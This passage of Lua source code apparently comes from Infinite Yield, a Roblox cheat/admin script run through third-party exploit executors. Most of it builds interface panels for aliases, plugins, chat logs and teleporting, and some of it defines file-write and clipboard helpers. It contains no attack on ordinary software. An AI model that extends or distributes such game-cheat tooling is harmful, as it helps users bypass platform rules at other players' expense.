  1390. Delete_6.Position = UDim2.new(0, 200, 0, 0)
  1391. Delete_6.Size = UDim2.new(0, 40, 0, 20)
  1392. Delete_6.Font = Enum.Font.SourceSans
  1393. Delete_6.TextSize = 14
  1394. Delete_6.Text = "Delete"
  1395. Delete_6.TextColor3 = Color3.new(0, 0, 0)
  1396. Delete_6.ZIndex = 10
  1397. table.insert(shade3,Delete_6)
  1398. table.insert(text2,Delete_6)
  1399.  
  1400. TP.Name = "TP"
  1401. TP.Parent = Text_5
  1402. TP.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  1403. TP.BorderSizePixel = 0
  1404. TP.Position = UDim2.new(0, 155, 0, 0)
  1405. TP.Size = UDim2.new(0, 40, 0, 20)
  1406. TP.Font = Enum.Font.SourceSans
  1407. TP.TextSize = 14
  1408. TP.Text = "Goto"
  1409. TP.TextColor3 = Color3.new(0, 0, 0)
  1410. TP.ZIndex = 10
  1411. table.insert(shade3,TP)
  1412. table.insert(text2,TP)
  1413.  
  1414. AliasesFrame.Name = "AliasesFrame"
  1415. AliasesFrame.Parent = Settings
  1416. AliasesFrame.Active = true
  1417. AliasesFrame.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
  1418. AliasesFrame.BorderSizePixel = 0
  1419. AliasesFrame.Position = UDim2.new(0, 0, 0, 175)
  1420. AliasesFrame.Size = UDim2.new(0, 250, 0, 175)
  1421. AliasesFrame.ZIndex = 10
  1422. table.insert(shade1,AliasesFrame)
  1423.  
  1424. Close_2.Name = "Close"
  1425. Close_2.Parent = AliasesFrame
  1426. Close_2.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1427. Close_2.BorderSizePixel = 0
  1428. Close_2.Position = UDim2.new(0, 205, 0, 150)
  1429. Close_2.Size = UDim2.new(0, 40, 0, 20)
  1430. Close_2.Font = Enum.Font.SourceSans
  1431. Close_2.TextSize = 14
  1432. Close_2.Text = "Close"
  1433. Close_2.TextColor3 = Color3.new(1, 1, 1)
  1434. Close_2.ZIndex = 10
  1435. table.insert(shade2,Close_2)
  1436. table.insert(text1,Close_2)
  1437.  
  1438. Delete_3.Name = "Delete"
  1439. Delete_3.Parent = AliasesFrame
  1440. Delete_3.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1441. Delete_3.BorderSizePixel = 0
  1442. Delete_3.Position = UDim2.new(0, 5, 0, 150)
  1443. Delete_3.Size = UDim2.new(0, 40, 0, 20)
  1444. Delete_3.Font = Enum.Font.SourceSans
  1445. Delete_3.TextSize = 14
  1446. Delete_3.Text = "Clear"
  1447. Delete_3.TextColor3 = Color3.new(1, 1, 1)
  1448. Delete_3.ZIndex = 10
  1449. table.insert(shade2,Delete_3)
  1450. table.insert(text1,Delete_3)
  1451.  
  1452. Holder_3.Name = "Holder"
  1453. Holder_3.Parent = AliasesFrame
  1454. Holder_3.BackgroundTransparency = 1
  1455. Holder_3.BorderSizePixel = 0
  1456. Holder_3.Position = UDim2.new(0, 0, 0, 0)
  1457. Holder_3.Size = UDim2.new(0, 250, 0, 145)
  1458. Holder_3.ScrollBarImageColor3 = Color3.fromRGB(78,78,79)
  1459. Holder_3.BottomImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  1460. Holder_3.CanvasSize = UDim2.new(0, 0, 0, 0)
  1461. Holder_3.MidImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  1462. Holder_3.ScrollBarThickness = 0
  1463. Holder_3.TopImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  1464. Holder_3.VerticalScrollBarInset = 'Always'
  1465. Holder_3.ZIndex = 10
  1466.  
  1467. Example_3.Name = "Example"
  1468. Example_3.Parent = AliasesFrame
  1469. Example_3.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1470. Example_3.BorderSizePixel = 0
  1471. Example_3.Size = UDim2.new(0, 10, 0, 20)
  1472. Example_3.Visible = false
  1473. Example_3.ZIndex = 10
  1474. table.insert(shade2,Example_3)
  1475.  
  1476. Text_4.Name = "Text"
  1477. Text_4.Parent = Example_3
  1478. Text_4.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1479. Text_4.BorderSizePixel = 0
  1480. Text_4.Position = UDim2.new(0, 10, 0, 0)
  1481. Text_4.Size = UDim2.new(0, 240, 0, 20)
  1482. Text_4.Font = Enum.Font.SourceSans
  1483. Text_4.TextSize = 14
  1484. Text_4.Text = "honk"
  1485. Text_4.TextColor3 = Color3.new(1, 1, 1)
  1486. Text_4.TextXAlignment = Enum.TextXAlignment.Left
  1487. Text_4.ZIndex = 10
  1488. table.insert(shade2,Text_4)
  1489. table.insert(text1,Text_4)
  1490.  
  1491. Delete_4.Name = "Delete"
  1492. Delete_4.Parent = Text_4
  1493. Delete_4.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  1494. Delete_4.BorderSizePixel = 0
  1495. Delete_4.Position = UDim2.new(0, 200, 0, 0)
  1496. Delete_4.Size = UDim2.new(0, 40, 0, 20)
  1497. Delete_4.Font = Enum.Font.SourceSans
  1498. Delete_4.TextSize = 14
  1499. Delete_4.Text = "Delete"
  1500. Delete_4.TextColor3 = Color3.new(0, 0, 0)
  1501. Delete_4.ZIndex = 10
  1502. table.insert(shade3,Delete_4)
  1503. table.insert(text2,Delete_4)
  1504.  
  1505. PluginsFrame.Name = "PluginsFrame"
  1506. PluginsFrame.Parent = Settings
  1507. PluginsFrame.Active = true
  1508. PluginsFrame.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
  1509. PluginsFrame.BorderSizePixel = 0
  1510. PluginsFrame.Position = UDim2.new(0, 0, 0, 175)
  1511. PluginsFrame.Size = UDim2.new(0, 250, 0, 175)
  1512. PluginsFrame.ZIndex = 10
  1513. table.insert(shade1,PluginsFrame)
  1514.  
  1515. Close_4.Name = "Close"
  1516. Close_4.Parent = PluginsFrame
  1517. Close_4.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1518. Close_4.BorderSizePixel = 0
  1519. Close_4.Position = UDim2.new(0, 205, 0, 150)
  1520. Close_4.Size = UDim2.new(0, 40, 0, 20)
  1521. Close_4.Font = Enum.Font.SourceSans
  1522. Close_4.TextSize = 14
  1523. Close_4.Text = "Close"
  1524. Close_4.TextColor3 = Color3.new(1, 1, 1)
  1525. Close_4.ZIndex = 10
  1526. table.insert(shade2,Close_4)
  1527. table.insert(text1,Close_4)
  1528.  
  1529. Add_3.Name = "Add"
  1530. Add_3.Parent = PluginsFrame
  1531. Add_3.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1532. Add_3.BorderSizePixel = 0
  1533. Add_3.Position = UDim2.new(0, 5, 0, 150)
  1534. Add_3.Size = UDim2.new(0, 40, 0, 20)
  1535. Add_3.Font = Enum.Font.SourceSans
  1536. Add_3.TextSize = 14
  1537. Add_3.Text = "Add"
  1538. Add_3.TextColor3 = Color3.new(1, 1, 1)
  1539. Add_3.ZIndex = 10
  1540. table.insert(shade2,Add_3)
  1541. table.insert(text1,Add_3)
  1542.  
  1543. Holder_5.Name = "Holder"
  1544. Holder_5.Parent = PluginsFrame
  1545. Holder_5.BackgroundTransparency = 1
  1546. Holder_5.BorderSizePixel = 0
  1547. Holder_5.Position = UDim2.new(0, 0, 0, 0)
  1548. Holder_5.Selectable = false
  1549. Holder_5.Size = UDim2.new(0, 250, 0, 140)
  1550. Holder_5.ScrollBarImageColor3 = Color3.fromRGB(78,78,79)
  1551. Holder_5.BottomImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  1552. Holder_5.CanvasSize = UDim2.new(0, 0, 0, 0)
  1553. Holder_5.MidImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  1554. Holder_5.ScrollBarThickness = 0
  1555. Holder_5.TopImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  1556. Holder_5.VerticalScrollBarInset = 'Always'
  1557. Holder_5.ZIndex = 10
  1558.  
  1559. Example_5.Name = "Example"
  1560. Example_5.Parent = PluginsFrame
  1561. Example_5.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1562. Example_5.BorderSizePixel = 0
  1563. Example_5.Size = UDim2.new(0, 10, 0, 20)
  1564. Example_5.Visible = false
  1565. Example_5.ZIndex = 10
  1566. table.insert(shade2,Example_5)
  1567.  
  1568. Text_6.Name = "Text"
  1569. Text_6.Parent = Example_5
  1570. Text_6.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1571. Text_6.BorderSizePixel = 0
  1572. Text_6.Position = UDim2.new(0, 10, 0, 0)
  1573. Text_6.Size = UDim2.new(0, 240, 0, 20)
  1574. Text_6.Font = Enum.Font.SourceSans
  1575. Text_6.TextSize = 14
  1576. Text_6.Text = "F4 > Toggle Fly"
  1577. Text_6.TextColor3 = Color3.new(1, 1, 1)
  1578. Text_6.TextXAlignment = Enum.TextXAlignment.Left
  1579. Text_6.ZIndex = 10
  1580. table.insert(shade2,Text_6)
  1581. table.insert(text1,Text_6)
  1582.  
  1583. Delete_7.Name = "Delete"
  1584. Delete_7.Parent = Text_6
  1585. Delete_7.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  1586. Delete_7.BorderSizePixel = 0
  1587. Delete_7.Position = UDim2.new(0, 200, 0, 0)
  1588. Delete_7.Size = UDim2.new(0, 40, 0, 20)
  1589. Delete_7.Font = Enum.Font.SourceSans
  1590. Delete_7.TextSize = 14
  1591. Delete_7.Text = "Delete"
  1592. Delete_7.TextColor3 = Color3.new(0, 0, 0)
  1593. Delete_7.ZIndex = 10
  1594. table.insert(shade3,Delete_7)
  1595. table.insert(text2,Delete_7)
  1596.  
  1597. PluginEditor.Name = randomString()
  1598. PluginEditor.Parent = PARENT
  1599. PluginEditor.BorderSizePixel = 0
  1600. PluginEditor.Active = true
  1601. PluginEditor.BackgroundTransparency = 1
  1602. PluginEditor.Position = UDim2.new(0.5, -180, 0, -400)
  1603. PluginEditor.Size = UDim2.new(0, 360, 0, 20)
  1604. PluginEditor.ZIndex = 10
  1605.  
  1606. background_3.Name = "background"
  1607. background_3.Parent = PluginEditor
  1608. background_3.Active = true
  1609. background_3.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
  1610. background_3.BorderSizePixel = 0
  1611. background_3.Position = UDim2.new(0, 0, 0, 20)
  1612. background_3.Size = UDim2.new(0, 360, 0, 160)
  1613. background_3.ZIndex = 10
  1614. table.insert(shade1,background_3)
  1615.  
  1616. Dark_9.Name = "Dark"
  1617. Dark_9.Parent = background_3
  1618. Dark_9.Active = true
  1619. Dark_9.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1620. Dark_9.BackgroundTransparency = 0
  1621. Dark_9.BorderSizePixel = 0
  1622. Dark_9.Position = UDim2.new(0, 222, 0, 0)
  1623. Dark_9.Size = UDim2.new(0, 2, 0, 160)
  1624. Dark_9.ZIndex = 10
  1625. table.insert(shade2,Dark_9)
  1626.  
  1627. Img.Name = "Img"
  1628. Img.Parent = background_3
  1629. Img.BackgroundTransparency = 1
  1630. Img.Position = UDim2.new(0, 242, 0, 3)
  1631. Img.Size = UDim2.new(0, 100, 0, 95)
  1632. Img.Image = "rbxassetid://4113050383"
  1633. Img.ZIndex = 10
  1634.  
  1635. AddPlugin.Name = "AddPlugin"
  1636. AddPlugin.Parent = background_3
  1637. AddPlugin.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1638. AddPlugin.BorderSizePixel = 0
  1639. AddPlugin.Position = UDim2.new(0, 235, 0, 100)
  1640. AddPlugin.Size = UDim2.new(0, 115, 0, 50)
  1641. AddPlugin.Font = Enum.Font.SourceSans
  1642. AddPlugin.TextSize = 14
  1643. AddPlugin.Text = "Add Plugin"
  1644. AddPlugin.TextColor3 = Color3.new(1, 1, 1)
  1645. AddPlugin.ZIndex = 10
  1646. table.insert(shade2,AddPlugin)
  1647. table.insert(text1,AddPlugin)
  1648.  
  1649. FileName.Name = "FileName"
  1650. FileName.Parent = background_3
  1651. FileName.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1652. FileName.BorderSizePixel = 0
  1653. FileName.Position = UDim2.new(0.028, 0, 0.625, 0)
  1654. FileName.Size = UDim2.new(0, 200, 0, 50)
  1655. FileName.Font = Enum.Font.SourceSans
  1656. FileName.TextSize = 14
  1657. FileName.Text = "Plugin File Name"
  1658. FileName.TextColor3 = Color3.new(1, 1, 1)
  1659. FileName.ZIndex = 10
  1660. table.insert(shade2,FileName)
  1661. table.insert(text1,FileName)
  1662.  
  1663. About.Name = "About"
  1664. About.Parent = background_3
  1665. About.BackgroundTransparency = 1
  1666. About.BorderSizePixel = 0
  1667. About.Position = UDim2.new(0, 17, 0, 10)
  1668. About.Size = UDim2.new(0, 187, 0, 49)
  1669. About.Font = Enum.Font.SourceSans
  1670. About.TextSize = 14
  1671. About.Text = "Plugins are .iy files and should be located in the 'workspace' folder of your exploit."
  1672. About.TextColor3 = Color3.fromRGB(255, 255, 255)
  1673. About.TextWrapped = true
  1674. About.TextYAlignment = Enum.TextYAlignment.Top
  1675. About.ZIndex = 10
  1676. table.insert(text1,About)
  1677.  
  1678. Directions_2.Name = "Directions"
  1679. Directions_2.Parent = background_3
  1680. Directions_2.BackgroundTransparency = 1
  1681. Directions_2.BorderSizePixel = 0
  1682. Directions_2.Position = UDim2.new(0, 17, 0, 60)
  1683. Directions_2.Size = UDim2.new(0, 187, 0, 49)
  1684. Directions_2.Font = Enum.Font.SourceSans
  1685. Directions_2.TextSize = 14
  1686. Directions_2.Text = "Type the name of the plugin file you want to add below."
  1687. Directions_2.TextColor3 = Color3.fromRGB(255, 255, 255)
  1688. Directions_2.TextWrapped = true
  1689. Directions_2.TextYAlignment = Enum.TextYAlignment.Top
  1690. Directions_2.ZIndex = 10
  1691. table.insert(text1,Directions_2)
  1692.  
  1693. shadow_3.Name = "shadow"
  1694. shadow_3.Parent = PluginEditor
  1695. shadow_3.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1696. shadow_3.BorderSizePixel = 0
  1697. shadow_3.Size = UDim2.new(0, 360, 0, 20)
  1698. shadow_3.ZIndex = 10
  1699. table.insert(shade2,shadow_3)
  1700.  
  1701. PopupText_3.Name = "PopupText"
  1702. PopupText_3.Parent = shadow_3
  1703. PopupText_3.BackgroundTransparency = 1
  1704. PopupText_3.Position = UDim2.new(0, 51, 0, 0)
  1705. PopupText_3.Size = UDim2.new(0.76, -16, 0.95, 0)
  1706. PopupText_3.ZIndex = 10
  1707. PopupText_3.Font = Enum.Font.SourceSans
  1708. PopupText_3.TextSize = 14
  1709. PopupText_3.Text = "Add Plugins"
  1710. PopupText_3.TextColor3 = Color3.new(1, 1, 1)
  1711. PopupText_3.TextWrapped = true
  1712. table.insert(text1,PopupText_3)
  1713.  
  1714. Exit_3.Name = "Exit"
  1715. Exit_3.Parent = shadow_3
  1716. Exit_3.BackgroundTransparency = 1
  1717. Exit_3.Size = UDim2.new(0, 20, 0, 20)
  1718. Exit_3.ZIndex = 10
  1719. Exit_3.Image = "rbxassetid://2132544126"
  1720.  
  1721. logsDrag.Name = randomString()
  1722. logsDrag.Parent = PARENT
  1723. logsDrag.Active = true
  1724. logsDrag.BackgroundTransparency = 1
  1725. logsDrag.Position = UDim2.new(0, 0, 1, 10)
  1726. logsDrag.Size = UDim2.new(0, 338, 0, 20)
  1727. logsDrag.ZIndex = 10
  1728.  
  1729. shadow.Name = "shadow"
  1730. shadow.Parent = logsDrag
  1731. shadow.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1732. shadow.BorderSizePixel = 0
  1733. shadow.Position = UDim2.new(0, 0, 0.01, 0)
  1734. shadow.Size = UDim2.new(0, 338, 0, 20)
  1735. shadow.ZIndex = 10
  1736. table.insert(shade2,shadow)
  1737.  
  1738. Hide.Name = "Hide"
  1739. Hide.Parent = shadow
  1740. Hide.BackgroundTransparency = 1
  1741. Hide.Position = UDim2.new(0, 20, 0, 0)
  1742. Hide.Size = UDim2.new(0, 20, 0, 20)
  1743. Hide.ZIndex = 10
  1744. Hide.Image = "rbxassetid://2406617031"
  1745. Hide.ImageTransparency = 0.5
  1746.  
  1747. PopupText.Name = "PopupText"
  1748. PopupText.Parent = shadow
  1749. PopupText.BackgroundTransparency = 1
  1750. PopupText.Position = UDim2.new(0, 48, 0, 0)
  1751. PopupText.Size = UDim2.new(0.76, -16, 0.95, 0)
  1752. PopupText.ZIndex = 10
  1753. PopupText.Font = Enum.Font.SourceSans
  1754. PopupText.TextSize = 14
  1755. PopupText.Text = "Chat Logs"
  1756. PopupText.TextColor3 = Color3.new(1, 1, 1)
  1757. PopupText.TextWrapped = true
  1758. table.insert(text1,PopupText)
  1759.  
  1760. Exit.Name = "Exit"
  1761. Exit.Parent = shadow
  1762. Exit.BackgroundTransparency = 1
  1763. Exit.Size = UDim2.new(0, 20, 0, 20)
  1764. Exit.ZIndex = 10
  1765. Exit.Image = "rbxassetid://2132544126"
  1766.  
  1767. background.Name = "background"
  1768. background.Parent = logsDrag
  1769. background.Active = true
  1770. background.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
  1771. background.BorderSizePixel = 0
  1772. background.Position = UDim2.new(0, 0, 1, 0)
  1773. background.Size = UDim2.new(0, 338, 0, 225)
  1774. background.ZIndex = 10
  1775. table.insert(shade1,background)
  1776.  
  1777. Clear.Name = "Clear"
  1778. Clear.Parent = background
  1779. Clear.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1780. Clear.BorderSizePixel = 0
  1781. Clear.Position = UDim2.new(0, 5, 0, 200)
  1782. Clear.Size = UDim2.new(0, 50, 0, 20)
  1783. Clear.ZIndex = 10
  1784. Clear.Font = Enum.Font.SourceSans
  1785. Clear.TextSize = 14
  1786. Clear.Text = "Clear"
  1787. Clear.TextColor3 = Color3.new(1, 1, 1)
  1788. table.insert(shade2,Clear)
  1789. table.insert(text1,Clear)
  1790.  
  1791. Toggle.Name = "Toggle"
  1792. Toggle.Parent = background
  1793. Toggle.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1794. Toggle.BorderSizePixel = 0
  1795. Toggle.Position = UDim2.new(0, 60, 0, 200)
  1796. Toggle.Size = UDim2.new(0, 66, 0, 20)
  1797. Toggle.ZIndex = 10
  1798. Toggle.Font = Enum.Font.SourceSans
  1799. Toggle.TextSize = 14
  1800. Toggle.Text = "Disabled"
  1801. Toggle.TextColor3 = Color3.new(1, 1, 1)
  1802. table.insert(shade2,Toggle)
  1803. table.insert(text1,Toggle)
  1804.  
  1805. SaveChatlogs.Name = "SaveChatlogs"
  1806. SaveChatlogs.Parent = background
  1807. SaveChatlogs.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1808. SaveChatlogs.BorderSizePixel = 0
  1809. SaveChatlogs.Position = UDim2.new(0, 258, 0, 200)
  1810. SaveChatlogs.Size = UDim2.new(0, 75, 0, 20)
  1811. SaveChatlogs.ZIndex = 10
  1812. SaveChatlogs.Font = Enum.Font.SourceSans
  1813. SaveChatlogs.TextSize = 14
  1814. SaveChatlogs.Text = "Save To .txt"
  1815. SaveChatlogs.TextColor3 = Color3.new(1, 1, 1)
  1816. table.insert(shade2,SaveChatlogs)
  1817. table.insert(text1,SaveChatlogs)
  1818.  
  1819. scrollCL.Name = "scroll"
  1820. scrollCL.Parent = logsDrag
  1821. scrollCL.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1822. scrollCL.BorderSizePixel = 0
  1823. scrollCL.Position = UDim2.new(0, 5, 0, 25)
  1824. scrollCL.Size = UDim2.new(0, 328, 0, 190)
  1825. scrollCL.ZIndex = 10
  1826. scrollCL.ScrollBarImageColor3 = Color3.fromRGB(78,78,79)
  1827. scrollCL.BottomImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  1828. scrollCL.CanvasSize = UDim2.new(0, 0, 0, 10)
  1829. scrollCL.MidImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  1830. scrollCL.ScrollBarThickness = 8
  1831. scrollCL.TopImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  1832. scrollCL.VerticalScrollBarInset = 'Always'
  1833. table.insert(scroll,scrollCL)
  1834. table.insert(shade2,scrollCL)
  1835.  
  1836. AliasHint.Name = "AliasHint"
  1837. AliasHint.Parent = AliasesFrame
  1838. AliasHint.BackgroundTransparency = 1
  1839. AliasHint.BorderSizePixel = 0
  1840. AliasHint.Position = UDim2.new(0, 25, 0, 40)
  1841. AliasHint.Size = UDim2.new(0, 200, 0, 50)
  1842. AliasHint.Font = Enum.Font.SourceSansItalic
  1843. AliasHint.TextSize = 16
  1844. AliasHint.Text = "Add aliases by using the 'addalias' command"
  1845. AliasHint.TextColor3 = Color3.new(1, 1, 1)
  1846. AliasHint.TextStrokeColor3 = Color3.new(1, 1, 1)
  1847. AliasHint.TextWrapped = true
  1848. AliasHint.ZIndex = 10
  1849. table.insert(text1,AliasHint)
  1850.  
  1851. PluginsHint.Name = "PluginsHint"
  1852. PluginsHint.Parent = PluginsFrame
  1853. PluginsHint.BackgroundTransparency = 1
  1854. PluginsHint.BorderSizePixel = 0
  1855. PluginsHint.Position = UDim2.new(0, 25, 0, 40)
  1856. PluginsHint.Size = UDim2.new(0, 200, 0, 50)
  1857. PluginsHint.Font = Enum.Font.SourceSansItalic
  1858. PluginsHint.TextSize = 16
  1859. PluginsHint.Text = "Download plugins from the IY Discord (discord.io/infiniteyield)"
  1860. PluginsHint.TextColor3 = Color3.new(1, 1, 1)
  1861. PluginsHint.TextStrokeColor3 = Color3.new(1, 1, 1)
  1862. PluginsHint.TextWrapped = true
  1863. PluginsHint.ZIndex = 10
  1864. table.insert(text1,PluginsHint)
  1865.  
  1866. PositionsHint.Name = "PositionsHint"
  1867. PositionsHint.Parent = PositionsFrame
  1868. PositionsHint.BackgroundTransparency = 1
  1869. PositionsHint.BorderSizePixel = 0
  1870. PositionsHint.Position = UDim2.new(0, 25, 0, 40)
  1871. PositionsHint.Size = UDim2.new(0, 200, 0, 70)
  1872. PositionsHint.Font = Enum.Font.SourceSansItalic
  1873. PositionsHint.TextSize = 16
  1874. PositionsHint.Text = "Use the 'spos' or 'setwaypoint' command to add a position using your character (NOTE: Part teleports will not save)"
  1875. PositionsHint.TextColor3 = Color3.new(1, 1, 1)
  1876. PositionsHint.TextStrokeColor3 = Color3.new(1, 1, 1)
  1877. PositionsHint.TextWrapped = true
  1878. PositionsHint.ZIndex = 10
  1879. table.insert(text1,PositionsHint)
  1880.  
  1881. ToPartFrame.Name = randomString()
  1882. ToPartFrame.Parent = PARENT
  1883. ToPartFrame.Active = true
  1884. ToPartFrame.BackgroundTransparency = 1
  1885. ToPartFrame.Position = UDim2.new(0.5, -180, 0, -400)
  1886. ToPartFrame.Size = UDim2.new(0, 360, 0, 20)
  1887. ToPartFrame.ZIndex = 10
  1888.  
  1889. background_5.Name = "background"
  1890. background_5.Parent = ToPartFrame
  1891. background_5.Active = true
  1892. background_5.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
  1893. background_5.BorderSizePixel = 0
  1894. background_5.Position = UDim2.new(0, 0, 0, 20)
  1895. background_5.Size = UDim2.new(0, 360, 0, 117)
  1896. background_5.ZIndex = 10
  1897. table.insert(shade1,background_5)
  1898.  
  1899. ChoosePart.Name = "ChoosePart"
  1900. ChoosePart.Parent = background_5
  1901. ChoosePart.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1902. ChoosePart.BorderSizePixel = 0
  1903. ChoosePart.Position = UDim2.new(0, 100, 0, 55)
  1904. ChoosePart.Size = UDim2.new(0, 75, 0, 30)
  1905. ChoosePart.Font = Enum.Font.SourceSans
  1906. ChoosePart.TextSize = 14
  1907. ChoosePart.Text = "Select Part"
  1908. ChoosePart.TextColor3 = Color3.new(1, 1, 1)
  1909. ChoosePart.ZIndex = 10
  1910. table.insert(shade2,ChoosePart)
  1911. table.insert(text1,ChoosePart)
  1912.  
  1913. CopyPath.Name = "CopyPath"
  1914. CopyPath.Parent = background_5
  1915. CopyPath.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1916. CopyPath.BorderSizePixel = 0
  1917. CopyPath.Position = UDim2.new(0, 185, 0, 55)
  1918. CopyPath.Size = UDim2.new(0, 75, 0, 30)
  1919. CopyPath.Font = Enum.Font.SourceSans
  1920. CopyPath.TextSize = 14
  1921. CopyPath.Text = "Copy Path"
  1922. CopyPath.TextColor3 = Color3.new(1, 1, 1)
  1923. CopyPath.ZIndex = 10
  1924. table.insert(shade2,CopyPath)
  1925. table.insert(text1,CopyPath)
  1926.  
  1927. Directions_4.Name = "Directions"
  1928. Directions_4.Parent = background_5
  1929. Directions_4.BackgroundTransparency = 1
  1930. Directions_4.BorderSizePixel = 0
  1931. Directions_4.Position = UDim2.new(0, 51, 0, 17)
  1932. Directions_4.Size = UDim2.new(0, 257, 0, 32)
  1933. Directions_4.Font = Enum.Font.SourceSans
  1934. Directions_4.TextSize = 14
  1935. Directions_4.Text = 'Click on a part and then click the "Select Part" button below to set it as a teleport location'
  1936. Directions_4.TextColor3 = Color3.new(1, 1, 1)
  1937. Directions_4.TextWrapped = true
  1938. Directions_4.TextYAlignment = Enum.TextYAlignment.Top
  1939. Directions_4.ZIndex = 10
  1940. table.insert(text1,Directions_4)
  1941.  
  1942. Path.Name = "Path"
  1943. Path.Parent = background_5
  1944. Path.BackgroundTransparency = 1
  1945. Path.BorderSizePixel = 0
  1946. Path.Position = UDim2.new(0, 0, 0, 94)
  1947. Path.Size = UDim2.new(0, 360, 0, 16)
  1948. Path.Font = Enum.Font.SourceSansItalic
  1949. Path.TextSize = 14
  1950. Path.Text = ""
  1951. Path.TextColor3 = Color3.new(1, 1, 1)
  1952. Path.TextScaled = true
  1953. Path.TextWrapped = true
  1954. Path.TextYAlignment = Enum.TextYAlignment.Top
  1955. Path.ZIndex = 10
  1956. table.insert(text1,Path)
  1957.  
  1958. shadow_5.Name = "shadow"
  1959. shadow_5.Parent = ToPartFrame
  1960. shadow_5.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1961. shadow_5.BorderSizePixel = 0
  1962. shadow_5.Size = UDim2.new(0, 360, 0, 20)
  1963. shadow_5.ZIndex = 10
  1964. table.insert(shade2,shadow_5)
  1965.  
  1966. PopupText_5.Name = "PopupText"
  1967. PopupText_5.Parent = shadow_5
  1968. PopupText_5.BackgroundTransparency = 1
  1969. PopupText_5.Position = UDim2.new(0, 51, 0, 0)
  1970. PopupText_5.Size = UDim2.new(0.760355055, -16, 0.949999988, 0)
  1971. PopupText_5.ZIndex = 10
  1972. PopupText_5.Font = Enum.Font.SourceSans
  1973. PopupText_5.TextSize = 14
  1974. PopupText_5.Text = "Teleport to Part"
  1975. PopupText_5.TextColor3 = Color3.new(1, 1, 1)
  1976. PopupText_5.TextWrapped = true
  1977. table.insert(text1,PopupText_5)
  1978.  
  1979. Exit_5.Name = "Exit"
  1980. Exit_5.Parent = shadow_5
  1981. Exit_5.BackgroundTransparency = 1
  1982. Exit_5.Size = UDim2.new(0, 20, 0, 20)
  1983. Exit_5.ZIndex = 10
  1984. Exit_5.Image = "rbxassetid://2132544126"
  1985.  
  1986. function writefileExploit()
  1987. if writefile then
  1988. return true
  1989. end
  1990. end
  1991.  
  1992. function isNumber(str)
  1993. return tonumber(str) ~= nil
  1994. end
  1995.  
  1996. function tools(plr)
  1997. if plr.Backpack:FindFirstChildOfClass('Tool') or plr.Character:FindFirstChildOfClass('Tool') then
  1998. return true
  1999. end
  2000. end
  2001.  
  2002. function r15(plr)
  2003. if plr.Character:FindFirstChildOfClass('Humanoid').RigType == Enum.HumanoidRigType.R15 then
  2004. return true
  2005. end
  2006. end
  2007.  
  2008. function toClipboard(String)
  2009. if not pcall(function() CB = setclipboard or Clipboard.set CB(String) notify('Clipboard','Copied to clipboard') end) then
  2010. notify('Clipboard',"Your exploit doesn't have the ability to use the clipboard")
  2011. end
  2012. end
  2013.  
  2014. function getHierarchy(obj)
  2015. local fullname
  2016. local period
  2017.  
  2018. if string.find(obj.Name,' ') then
  2019. fullname = '["'..obj.Name..'"]'
  2020. period = false
  2021. else
  2022. fullname = obj.Name
  2023. period = true
  2024. end
  2025.  
  2026. local getS = obj
  2027. local parent = obj
  2028. local service = ''
  2029.  
  2030. if getS.Parent ~= game then
  2031. repeat
  2032. getS = getS.Parent
  2033. service = getS.ClassName
  2034. until getS.Parent == game
  2035. end
  2036.  
  2037. if parent.Parent ~= getS then
  2038. repeat
  2039. parent = parent.Parent
  2040. if string.find(tostring(parent),' ') then
  2041. if period then
  2042. fullname = '["'..parent.Name..'"].'..fullname
  2043. else
  2044. fullname = '["'..parent.Name..'"]'..fullname
  2045. end
  2046. period = false
  2047. else
  2048. if period then
  2049. fullname = parent.Name..'.'..fullname
  2050. else
  2051. fullname = parent.Name..''..fullname
  2052. end
  2053. period = true
  2054. end
  2055. until parent.Parent == getS
  2056. elseif string.find(tostring(parent),' ') then
  2057. fullname = '["'..parent.Name..'"]'
  2058. period = false
  2059. end
  2060.  
  2061. if period then
  2062. return 'game:GetService("'..service..'").'..fullname
  2063. else
  2064. return 'game:GetService("'..service..'")'..fullname
  2065. end
  2066. end
  2067.  
  2068. AllWaypoints = {}
  2069.  
  2070. cooldown = false
  2071. function writefileCooldown(name,data)
  2072. spawn(function()
  2073. if not cooldown then
  2074. cooldown = true
  2075. writefile(name, data)
  2076. else
  2077. repeat wait() until cooldown == false
  2078. writefileCooldown(name,data)
  2079. end
  2080. wait(3)
  2081. cooldown = false
  2082. end)
  2083. end
  2084.  
  2085. currentShade1 = Color3.fromRGB(36, 36, 37)
  2086. currentShade2 = Color3.fromRGB(46, 46, 47)
  2087. currentShade3 = Color3.fromRGB(78, 78, 79)
  2088. currentText1 = Color3.new(1, 1, 1)
